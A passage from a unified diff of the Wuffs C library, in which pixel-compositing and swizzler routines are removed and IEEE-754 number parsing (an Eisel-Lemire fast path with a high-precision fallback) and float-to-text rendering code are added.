wuffs_base__result_f64 ret; -+ ret.status.repr = wuffs_base__error__bad_argument; -+ ret.value = 0; -+ return ret; -+ } - -- // Combine components. -- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); --} -+ uint64_t bits = h->negative ? 0xFFF0000000000000 : 0x7FF0000000000000; - --static inline uint64_t // --wuffs_base__composite_premul_nonpremul_u64_axxx(uint64_t dst_premul, -- uint64_t src_nonpremul) { -- // Extract components. -- uint64_t da = 0xFFFF & (dst_premul >> 48); -- uint64_t dr = 0xFFFF & (dst_premul >> 32); -- uint64_t dg = 0xFFFF & (dst_premul >> 16); -- uint64_t db = 0xFFFF & (dst_premul >> 0); -- uint64_t sa = 0xFFFF & (src_nonpremul >> 48); -- uint64_t sr = 0xFFFF & (src_nonpremul >> 32); -- uint64_t sg = 0xFFFF & (src_nonpremul >> 16); -- uint64_t sb = 0xFFFF & (src_nonpremul >> 0); -- -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint64_t ia = 0xFFFF - sa; -- -- // Composite src (nonpremul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = ((sr * sa) + (dr * ia)) / 0xFFFF; -- dg = ((sg * sa) + (dg * ia)) / 0xFFFF; -- db = ((sb * sa) + (db * ia)) / 0xFFFF; -- -- // Combine components. -- return (db << 0) | (dg << 16) | (dr << 32) | (da << 48); -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64(bits); -+ return ret; -+ } while (0); - } - --static inline uint32_t // --wuffs_base__composite_premul_premul_u32_axxx(uint32_t dst_premul, -- uint32_t src_premul) { -- // Extract 16-bit color components. -- uint32_t da = 0x101 * (0xFF & (dst_premul >> 24)); -- uint32_t dr = 0x101 * (0xFF & (dst_premul >> 16)); -- uint32_t dg = 0x101 * (0xFF & (dst_premul >> 8)); -- uint32_t db = 0x101 * (0xFF & (dst_premul >> 0)); -- uint32_t sa = 0x101 * (0xFF & (src_premul >> 24)); -- uint32_t sr = 0x101 * (0xFF & (src_premul >> 16)); -- uint32_t sg = 0x101 * (0xFF & (src_premul >> 8)); -- uint32_t sb = 0x101 * (0xFF & (src_premul >> 0)); -- -- // Calculate the inverse of the src-alpha: how much of the dst to keep. -- uint32_t ia = 0xFFFF - sa; -- -- // Composite src (premul) over dst (premul). -- da = sa + ((da * ia) / 0xFFFF); -- dr = sr + ((dr * ia) / 0xFFFF); -- dg = sg + ((dg * ia) / 0xFFFF); -- db = sb + ((db * ia) / 0xFFFF); -- -- // Convert from 16-bit color to 8-bit color. -- da >>= 8; -- dr >>= 8; -- dg >>= 8; -- db >>= 8; -- -- // Combine components. -- return (db << 0) | (dg << 8) | (dr << 16) | (da << 24); -+static inline bool // -+wuffs_private_impl__is_decimal_digit(uint8_t c) { -+ return ('0' <= c) && (c <= '9'); - } - --// -------- -+WUFFS_BASE__MAYBE_STATIC wuffs_base__result_f64 // -+wuffs_base__parse_number_f64(wuffs_base__slice_u8 s, uint32_t options) { -+ // In practice, almost all "dd.ddddE±xxx" numbers can be represented -+ // losslessly by a uint64_t mantissa "dddddd" and an int32_t base-10 -+ // exponent, adjusting "xxx" for the position (if present) of the decimal -+ // separator '.' or ','. -+ // -+ // This (u64 man, i32 exp10) data structure is superficially similar to the -+ // "Do It Yourself Floating Point" type from Loitsch (†), but the exponent -+ // here is base-10, not base-2. -+ // -+ // If s's number fits in a (man, exp10), parse that pair with the -+ // Eisel-Lemire algorithm. If not, or if Eisel-Lemire fails, parsing s with -+ // the fallback algorithm is slower but comprehensive. -+ // -+ // † "Printing Floating-Point Numbers Quickly and Accurately with Integers" -+ // (https://www.cs.tufts.edu/~nr/cs257/archive/florian-loitsch/printf.pdf). -+ // Florian Loitsch is also the primary contributor to -+ // https://github.com/google/double-conversion -+ do { -+ // Calculating that (man, exp10) pair needs to stay within s's bounds. -+ // Provided that s isn't extremely long, work on a NUL-terminated copy of -+ // s's contents. The NUL byte isn't a valid part of "±dd.ddddE±xxx". -+ // -+ // As the pointer p walks the contents, it's faster to repeatedly check "is -+ // *p a valid digit" than "is p within bounds and *p a valid digit". -+ if (s.len >= 256) { -+ goto fallback; -+ } -+ uint8_t z[256]; -+ memcpy(&z[0], s.ptr, s.len); -+ z[s.len] = 0; -+ const uint8_t* p = &z[0]; - --static uint64_t // --wuffs_base__pixel_swizzler__squash_align4_bgr_565_8888(uint8_t* dst_ptr, -- size_t dst_len, -- const uint8_t* src_ptr, -- size_t src_len, -- bool nonpremul) { -- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -+ // Look for a leading minus sign. Technically, we could also look for an -+ // optional plus sign, but the "script/process-json-numbers.c with -p" -+ // benchmark is noticably slower if we do. It's optional and, in practice, -+ // usually absent. Let the fallback catch it. -+ bool negative = (*p == '-'); -+ if (negative) { -+ p++; -+ } - -- size_t n = len; -- while (n--) { -- uint32_t argb = wuffs_base__peek_u32le__no_bounds_check(s); -- if (nonpremul) { -- argb = -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul(argb); -+ // After walking "dd.dddd", comparing p later with p now will produce the -+ // number of "d"s and "."s. -+ const uint8_t* const start_of_digits_ptr = p; -+ -+ // Walk the "d"s before a '.', 'E', NUL byte, etc. If it starts with '0', -+ // it must be a single '0'. If it starts with a non-zero decimal digit, it -+ // can be a sequence of decimal digits. -+ // -+ // Update the man variable during the walk. It's OK if man overflows now. -+ // We'll detect that later. -+ uint64_t man; -+ if (*p == '0') { -+ man = 0; -+ p++; -+ if (wuffs_private_impl__is_decimal_digit(*p)) { -+ goto fallback; -+ } -+ } else if (wuffs_private_impl__is_decimal_digit(*p)) { -+ man = ((uint8_t)(*p - '0')); -+ p++; -+ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { -+ man = (10 * man) + ((uint8_t)(*p - '0')); -+ } -+ } else { -+ goto fallback; - } -- uint32_t b5 = 0x1F & (argb >> (8 - 5)); -- uint32_t g6 = 0x3F & (argb >> (16 - 6)); -- uint32_t r5 = 0x1F & (argb >> (24 - 5)); -- uint32_t alpha = argb & 0xFF000000; -- wuffs_base__poke_u32le__no_bounds_check( -- d, alpha | (r5 << 11) | (g6 << 5) | (b5 << 0)); -- s += 4; -- d += 4; -- } -- return len; --} - --// -------- -+ // Walk the "d"s after the optional decimal separator ('.' or ','), -+ // updating the man and exp10 variables. -+ int32_t exp10 = 0; -+ if (*p == -+ ((options & WUFFS_BASE__PARSE_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.')) { -+ p++; -+ const uint8_t* first_after_separator_ptr = p; -+ if (!wuffs_private_impl__is_decimal_digit(*p)) { -+ goto fallback; -+ } -+ man = (10 * man) + ((uint8_t)(*p - '0')); -+ p++; -+ for (; wuffs_private_impl__is_decimal_digit(*p); p++) { -+ man = (10 * man) + ((uint8_t)(*p - '0')); -+ } -+ exp10 = ((int32_t)(first_after_separator_ptr - p)); -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__swap_rgb_bgr(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t len = (dst_len < src_len ? dst_len : src_len) / 3; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -+ // Count the number of digits: -+ // - for an input of "314159", digit_count is 6. -+ // - for an input of "3.14159", digit_count is 7. -+ // -+ // This is off-by-one if there is a decimal separator. That's OK for now. -+ // We'll correct for that later. The "script/process-json-numbers.c with -+ // -p" benchmark is noticably slower if we try to correct for that now. -+ uint32_t digit_count = (uint32_t)(p - start_of_digits_ptr); - -- size_t n = len; -- while (n--) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- d[0] = s2; -- d[1] = s1; -- d[2] = s0; -- s += 3; -- d += 3; -- } -- return len; --} -+ // Update exp10 for the optional exponent, starting with 'E' or 'e'. -+ if ((*p | 0x20) == 'e') { -+ p++; -+ int32_t exp_sign = +1; -+ if (*p == '-') { -+ p++; -+ exp_sign = -1; -+ } else if (*p == '+') { -+ p++; -+ } -+ if (!wuffs_private_impl__is_decimal_digit(*p)) { -+ goto fallback; -+ } -+ int32_t exp_num = ((uint8_t)(*p - '0')); -+ p++; -+ // The rest of the exp_num walking has a peculiar control flow but, once -+ // again, the "script/process-json-numbers.c with -p" benchmark is -+ // sensitive to alternative formulations. -+ if (wuffs_private_impl__is_decimal_digit(*p)) { -+ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -+ p++; -+ } -+ if (wuffs_private_impl__is_decimal_digit(*p)) { -+ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -+ p++; -+ } -+ while (wuffs_private_impl__is_decimal_digit(*p)) { -+ if (exp_num > 0x1000000) { -+ goto fallback; -+ } -+ exp_num = (10 * exp_num) + ((uint8_t)(*p - '0')); -+ p++; -+ } -+ exp10 += exp_sign * exp_num; -+ } - --// ‼ WUFFS MULTI-FILE SECTION +x86_sse42 --#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --WUFFS_BASE__MAYBE_ATTRIBUTE_TARGET("pclmul,popcnt,sse4.2") --static uint64_t // --wuffs_base__pixel_swizzler__swap_rgbx_bgrx__x86_sse42(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // The Wuffs API is that the original slice has no trailing data. It also -+ // allows underscores, which we don't catch here but the fallback should. -+ if (p != &z[s.len]) { -+ goto fallback; -+ } - -- __m128i shuffle = _mm_set_epi8(+0x0F, +0x0C, +0x0D, +0x0E, // -- +0x0B, +0x08, +0x09, +0x0A, // -- +0x07, +0x04, +0x05, +0x06, // -- +0x03, +0x00, +0x01, +0x02); -+ // Check that the uint64_t typed man variable has not overflowed, based on -+ // digit_count. -+ // -+ // For reference: -+ // - (1 << 63) is 9223372036854775808, which has 19 decimal digits. -+ // - (1 << 64) is 18446744073709551616, which has 20 decimal digits. -+ // - 19 nines, 9999999999999999999, is 0x8AC7230489E7FFFF, which has 64 -+ // bits and 16 hexadecimal digits. -+ // - 20 nines, 99999999999999999999, is 0x56BC75E2D630FFFFF, which has 67 -+ // bits and 17 hexadecimal digits. -+ if (digit_count > 19) { -+ // Even if we have more than 19 pseudo-digits, it's not yet definitely an -+ // overflow. Recall that digit_count might be off-by-one (too large) if -+ // there's a decimal separator. It will also over-report the number of -+ // meaningful digits if the input looks something like "0.000dddExxx". -+ // -+ // We adjust by the number of leading '0's and '.'s and re-compare to 19. -+ // Once again, technically, we could skip ','s too, but that perturbs the -+ // "script/process-json-numbers.c with -p" benchmark. -+ const uint8_t* q = start_of_digits_ptr; -+ for (; (*q == '0') || (*q == '.'); q++) { -+ } -+ digit_count -= (uint32_t)(q - start_of_digits_ptr); -+ if (digit_count > 19) { -+ goto fallback; -+ } -+ } - -- while (n >= 4) { -- __m128i x; -- x = _mm_lddqu_si128((const __m128i*)(const void*)s); -- x = _mm_shuffle_epi8(x, shuffle); -- _mm_storeu_si128((__m128i*)(void*)d, x); -+ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions -+ // include that exp10 is in the range [-307 ..= 288]. -+ if ((exp10 < -307) || (288 < exp10)) { -+ goto fallback; -+ } - -- s += 4 * 4; -- d += 4 * 4; -- n -= 4; -- } -+ // If both man and (10 ** exp10) are exactly representable by a double, we -+ // don't need to run the Eisel-Lemire algorithm. -+ if ((-22 <= exp10) && (exp10 <= 22) && ((man >> 53) == 0)) { -+ double d = (double)man; -+ if (exp10 >= 0) { -+ d *= wuffs_private_impl__f64_powers_of_10[+exp10]; -+ } else { -+ d /= wuffs_private_impl__f64_powers_of_10[-exp10]; -+ } -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = negative ? -d : +d; -+ return ret; -+ } - -- while (n--) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- uint8_t s3 = s[3]; -- d[0] = s2; -- d[1] = s1; -- d[2] = s0; -- d[3] = s3; -- s += 4; -- d += 4; -- } -- return len; --} --#endif // defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) --// ‼ WUFFS MULTI-FILE SECTION -x86_sse42 -+ // The wuffs_private_impl__parse_number_f64_eisel_lemire preconditions -+ // include that man is non-zero. Parsing "0" should be caught by the "If -+ // both man and (10 ** exp10)" above, but "0e99" might not. -+ if (man == 0) { -+ goto fallback; -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__swap_rgbx_bgrx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t len = (dst_len < src_len ? dst_len : src_len) / 4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -+ // Our man and exp10 are in range. Run the Eisel-Lemire algorithm. -+ int64_t r = wuffs_private_impl__parse_number_f64_eisel_lemire(man, exp10); -+ if (r < 0) { -+ goto fallback; -+ } -+ wuffs_base__result_f64 ret; -+ ret.status.repr = NULL; -+ ret.value = wuffs_base__ieee_754_bit_representation__from_u64_to_f64( -+ ((uint64_t)r) | (((uint64_t)negative) << 63)); -+ return ret; -+ } while (0); - -- size_t n = len; -- while (n--) { -- uint8_t s0 = s[0]; -- uint8_t s1 = s[1]; -- uint8_t s2 = s[2]; -- uint8_t s3 = s[3]; -- d[0] = s2; -- d[1] = s1; -- d[2] = s0; -- d[3] = s3; -- s += 4; -- d += 4; -- } -- return len; -+fallback: -+ do { -+ wuffs_private_impl__high_prec_dec h; -+ wuffs_base__status status = -+ wuffs_private_impl__high_prec_dec__parse(&h, s, options); -+ if (status.repr) { -+ return wuffs_private_impl__parse_number_f64_special(s, options); -+ } -+ return wuffs_private_impl__high_prec_dec__to_f64(&h, options); -+ } while (0); - } - - // -------- - --static uint64_t // --wuffs_base__pixel_swizzler__copy_1_1(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t len = (dst_len < src_len) ? dst_len : src_len; -- if (len > 0) { -- memmove(dst_ptr, src_ptr, len); -+static inline size_t // -+wuffs_private_impl__render_inf(wuffs_base__slice_u8 dst, -+ bool neg, -+ uint32_t options) { -+ if (neg) { -+ if (dst.len < 4) { -+ return 0; -+ } -+ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492D); // '-Inf'le. -+ return 4; - } -- return len; --} - --static uint64_t // --wuffs_base__pixel_swizzler__copy_2_2(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len2 = src_len / 2; -- size_t len = (dst_len2 < src_len2) ? dst_len2 : src_len2; -- if (len > 0) { -- memmove(dst_ptr, src_ptr, len * 2); -+ if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -+ if (dst.len < 4) { -+ return 0; -+ } -+ wuffs_base__poke_u32le__no_bounds_check(dst.ptr, 0x666E492B); // '+Inf'le. -+ return 4; - } -- return len; --} - --static uint64_t // --wuffs_base__pixel_swizzler__copy_3_3(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len3 = dst_len / 3; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len3 < src_len3) ? dst_len3 : src_len3; -- if (len > 0) { -- memmove(dst_ptr, src_ptr, len * 3); -+ if (dst.len < 3) { -+ return 0; - } -- return len; -+ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x666E49); // 'Inf'le. -+ return 3; - } - --static uint64_t // --wuffs_base__pixel_swizzler__copy_4_4(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len4 = dst_len / 4; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len4 < src_len4) ? dst_len4 : src_len4; -- if (len > 0) { -- memmove(dst_ptr, src_ptr, len * 4); -+static inline size_t // -+wuffs_private_impl__render_nan(wuffs_base__slice_u8 dst) { -+ if (dst.len < 3) { -+ return 0; - } -- return len; -+ wuffs_base__poke_u24le__no_bounds_check(dst.ptr, 0x4E614E); // 'NaN'le. -+ return 3; - } - --static uint64_t // --wuffs_base__pixel_swizzler__copy_8_8(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len8 = dst_len / 8; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len8 < src_len8) ? dst_len8 : src_len8; -- if (len > 0) { -- memmove(dst_ptr, src_ptr, len * 8); -+static size_t // -+wuffs_private_impl__high_prec_dec__render_exponent_absent( -+ wuffs_base__slice_u8 dst, -+ wuffs_private_impl__high_prec_dec* h, -+ uint32_t precision, -+ uint32_t options) { -+ size_t n = (h->negative || -+ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) -+ ? 1 -+ : 0; -+ if (h->decimal_point <= 0) { -+ n += 1; -+ } else { -+ n += (size_t)(h->decimal_point); -+ } -+ if (precision > 0) { -+ n += precision + 1; // +1 for the '.'. - } -- return len; --} - --// -------- -+ // Don't modify dst if the formatted number won't fit. -+ if (n > dst.len) { -+ return 0; -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgr(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len3 = src_len / 3; -- size_t len = (dst_len2 < src_len3) ? dst_len2 : src_len3; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // Align-left or align-right. -+ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -+ ? &dst.ptr[dst.len - n] -+ : &dst.ptr[0]; - -- // TODO: unroll. -+ // Leading "±". -+ if (h->negative) { -+ *ptr++ = '-'; -+ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -+ *ptr++ = '+'; -+ } - -- while (n >= 1) { -- uint32_t b5 = s[0] >> 3; -- uint32_t g6 = s[1] >> 2; -- uint32_t r5 = s[2] >> 3; -- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); -+ // Integral digits. -+ if (h->decimal_point <= 0) { -+ *ptr++ = '0'; -+ } else { -+ uint32_t m = -+ wuffs_base__u32__min(h->num_digits, (uint32_t)(h->decimal_point)); -+ uint32_t i = 0; -+ for (; i < m; i++) { -+ *ptr++ = (uint8_t)('0' | h->digits[i]); -+ } -+ for (; i < (uint32_t)(h->decimal_point); i++) { -+ *ptr++ = '0'; -+ } -+ } - -- s += 1 * 3; -- d += 1 * 2; -- n -= 1; -+ // Separator and then fractional digits. -+ if (precision > 0) { -+ *ptr++ = -+ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.'; -+ uint32_t i = 0; -+ for (; i < precision; i++) { -+ uint32_t j = ((uint32_t)(h->decimal_point)) + i; -+ *ptr++ = (uint8_t)('0' | ((j < h->num_digits) ? h->digits[j] : 0)); -+ } - } - -- return len; -+ return n; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgrx(uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- // TODO: unroll. -+static size_t // -+wuffs_private_impl__high_prec_dec__render_exponent_present( -+ wuffs_base__slice_u8 dst, -+ wuffs_private_impl__high_prec_dec* h, -+ uint32_t precision, -+ uint32_t options) { -+ int32_t exp = 0; -+ if (h->num_digits > 0) { -+ exp = h->decimal_point - 1; -+ } -+ bool negative_exp = exp < 0; -+ if (negative_exp) { -+ exp = -exp; -+ } - -- while (n >= 1) { -- uint32_t b5 = s[0] >> 3; -- uint32_t g6 = s[1] >> 2; -- uint32_t r5 = s[2] >> 3; -- uint32_t rgb_565 = (r5 << 11) | (g6 << 5) | (b5 << 0); -- wuffs_base__poke_u16le__no_bounds_check(d + (0 * 2), (uint16_t)rgb_565); -+ size_t n = (h->negative || -+ (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN)) -+ ? 4 -+ : 3; // Mininum 3 bytes: first digit and then "e±". -+ if (precision > 0) { -+ n += precision + 1; // +1 for the '.'. -+ } -+ n += (exp < 100) ? 2 : 3; - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ // Don't modify dst if the formatted number won't fit. -+ if (n > dst.len) { -+ return 0; - } - -- return len; --} -+ // Align-left or align-right. -+ uint8_t* ptr = (options & WUFFS_BASE__RENDER_NUMBER_XXX__ALIGN_RIGHT) -+ ? &dst.ptr[dst.len - n] -+ : &dst.ptr[0]; - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // Leading "±". -+ if (h->negative) { -+ *ptr++ = '-'; -+ } else if (options & WUFFS_BASE__RENDER_NUMBER_XXX__LEADING_PLUS_SIGN) { -+ *ptr++ = '+'; -+ } - -- // TODO: unroll. -+ // Integral digit. -+ if (h->num_digits > 0) { -+ *ptr++ = (uint8_t)('0' | h->digits[0]); -+ } else { -+ *ptr++ = '0'; -+ } - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__color_u32_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u32le__no_bounds_check(s + (0 * 4))))); -+ // Separator and then fractional digits. -+ if (precision > 0) { -+ *ptr++ = -+ (options & WUFFS_BASE__RENDER_NUMBER_FXX__DECIMAL_SEPARATOR_IS_A_COMMA) -+ ? ',' -+ : '.'; -+ uint32_t i = 1; -+ uint32_t j = wuffs_base__u32__min(h->num_digits, precision + 1); -+ for (; i < j; i++) { -+ *ptr++ = (uint8_t)('0' | h->digits[i]); -+ } -+ for (; i <= precision; i++) { -+ *ptr++ = '0'; -+ } -+ } - -- s += 1 * 4; -- d += 1 * 2; -- n -= 1; -+ // Exponent: "e±" and then 2 or 3 digits. -+ *ptr++ = 'e'; -+ *ptr++ = negative_exp ? '-' : '+'; -+ if (exp < 10) { -+ *ptr++ = '0'; -+ *ptr++ = (uint8_t)('0' | exp); -+ } else if (exp < 100) { -+ *ptr++ = (uint8_t)('0' | (exp / 10)); -+ *ptr++ = (uint8_t)('0' | (exp % 10)); -+ } else { -+ int32_t e = exp / 100; -+ exp -= e * 100; -+ *ptr++ = (uint8_t)('0' | e); -+ *ptr++ = (uint8_t)('0' | (exp / 10)); -+ *ptr++ = (uint8_t)('0' | (exp % 10)); - } - -- return len; -+ return n; - } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul_4x16le__src( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len8 = src_len / 8; -- size_t len = (dst_len2 < src_len8) ? dst_len2 : src_len8; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -- -- // TODO: unroll. -+WUFFS_BASE__MAYBE_STATIC size_t // -+wuffs_base__render_number_f64(wuffs_base__slice_u8 dst, -+ double x, -+ uint32_t precision, -+ uint32_t options) { -+ // Decompose x (64 bits) into negativity (1 bit), base-2 exponent (11 bits -+ // with a -1023 bias) and mantissa (52 bits). -+ uint64_t bits = wuffs_base__ieee_754_bit_representation__from_f64_to_u64(x); -+ bool neg = (bits >> 63) != 0; -+ int32_t exp2 = ((int32_t)(bits >> 52)) & 0x7FF; -+ uint64_t man = bits & 0x000FFFFFFFFFFFFFul; - -- while (n >= 1) { -- wuffs_base__poke_u16le__no_bounds_check( -- d + (0 * 2), -- wuffs_base__color_u32_argb_premul__as__color_u16_rgb_565( -- wuffs_base__color_u64_argb_nonpremul__as__color_u32_argb_premul( -- wuffs_base__peek_u64le__no_bounds_check(s + (0 * 8))))); -+ // Apply the exponent bias and set the implicit top bit of the mantissa, -+ // unless x is subnormal. Also take care of Inf and NaN. -+ if (exp2 == 0x7FF) { -+ if (man != 0) { -+ return wuffs_private_impl__render_nan(dst); -+ } -+ return wuffs_private_impl__render_inf(dst, neg, options); -+ } else if (exp2 == 0) { -+ exp2 = -1022; -+ } else { -+ exp2 -= 1023; -+ man |= 0x0010000000000000ul; -+ } - -- s += 1 * 8; -- d += 1 * 2; -- n -= 1; -+ // Ensure that precision isn't too large. -+ if (precision > 4095) { -+ precision = 4095; - } - -- return len; --} -+ // Convert from the (neg, exp2, man) tuple to an HPD. -+ wuffs_private_impl__high_prec_dec h; -+ wuffs_private_impl__high_prec_dec__assign(&h, man, neg); -+ if (h.num_digits > 0) { -+ wuffs_private_impl__high_prec_dec__lshift(&h, -+ exp2 - 52); // 52 mantissa bits. -+ } - --static uint64_t // --wuffs_base__pixel_swizzler__bgr_565__bgra_nonpremul__src_over( -- uint8_t* dst_ptr, -- size_t dst_len, -- uint8_t* dst_palette_ptr, -- size_t dst_palette_len, -- const uint8_t* src_ptr, -- size_t src_len) { -- size_t dst_len2 = dst_len / 2; -- size_t src_len4 = src_len / 4; -- size_t len = (dst_len2 < src_len4) ? dst_len2 : src_len4; -- uint8_t* d = dst_ptr; -- const uint8_t* s = src_ptr; -- size_t n = len; -+ // Handle the "%e" and "%f" formats. -+ switch (options & (WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT | -+ WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT)) { -+ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_ABSENT: // The "%"f" format. -+ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -+ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); -+ int32_t p = ((int32_t)(h.num_digits)) - h.decimal_point; -+ precision = ((uint32_t)(wuffs_base__i32__max(0, p))); -+ } else { -+ wuffs_private_impl__high_prec_dec__round_nearest( -+ &h, ((int32_t)precision) + h.decimal_point); -+ } -+ return wuffs_private_impl__high_prec_dec__render_exponent_absent( -+ dst, &h, precision, options); - -- // TODO: unroll. -+ case WUFFS_BASE__RENDER_NUMBER_FXX__EXPONENT_PRESENT: // The "%e" format. -+ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -+ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); -+ precision = (h.num_digits > 0) ? (h.num_digits - 1) : 0; -+ } else { -+ wuffs_private_impl__high_prec_dec__round_nearest( -+ &h, ((int32_t)precision) + 1); -+ } -+ return wuffs_private_impl__high_prec_dec__render_exponent_present( -+ dst, &h, precision, options); -+ } - -- while (n >= 1) { -- // Extract 16-bit color components. -- uint32_t sa = 0x101 * ((uint32_t)s[3]); -- uint32_t sr = 0x101 * ((uint32_t)s[2]); -- uint32_t sg = 0x101 * ((uint32_t)s[1]); -- uint32_t sb = 0x101 * ((uint32_t)s[0]); -+ // We have the "%g" format and so precision means the number of significant -+ // digits, not the number of digits after the decimal separator. Perform -+ // rounding and determine whether to use "%e" or "%f". -+ int32_t e_threshold = 0; -+ if (options & WUFFS_BASE__RENDER_NUMBER_FXX__JUST_ENOUGH_PRECISION) { -+ wuffs_private_impl__high_prec_dec__round_just_enough(&h, exp2, man); -+ precision = h.num_digits; -+ e_threshold = 6; -+ } else { -+ if (precision == 0) { -+ precision = 1; -+ } -+ wuffs_private_impl__high_prec_dec__round_nearest(&h, ((int32_t)precision)); -+ e_threshold = ((int32_t)precision); -+ int32_t nd = ((int32_t)(h.num_digits)); -+ if ((e_threshold > nd) && (nd >= h.decimal_point)) { -+ e_threshold = nd; -+ } -+ } - -- // Convert from 565 color to 16-bit color. -- uint32_t old_rgb_565 = wuffs_base__peek_u16le__no_bounds_check(d + (0 * 2)); -- uint32_t old_r5 = 0x1F & (old_rgb_565 >> 11); -- uint32_t dr = (0x8421 * old_r5) >> 4; -- uint32_t old_g6 = 0x3F & (old_rgb_565 >> 5); -- uint32_t dg = (0x1041 * old_g6) >> 2; 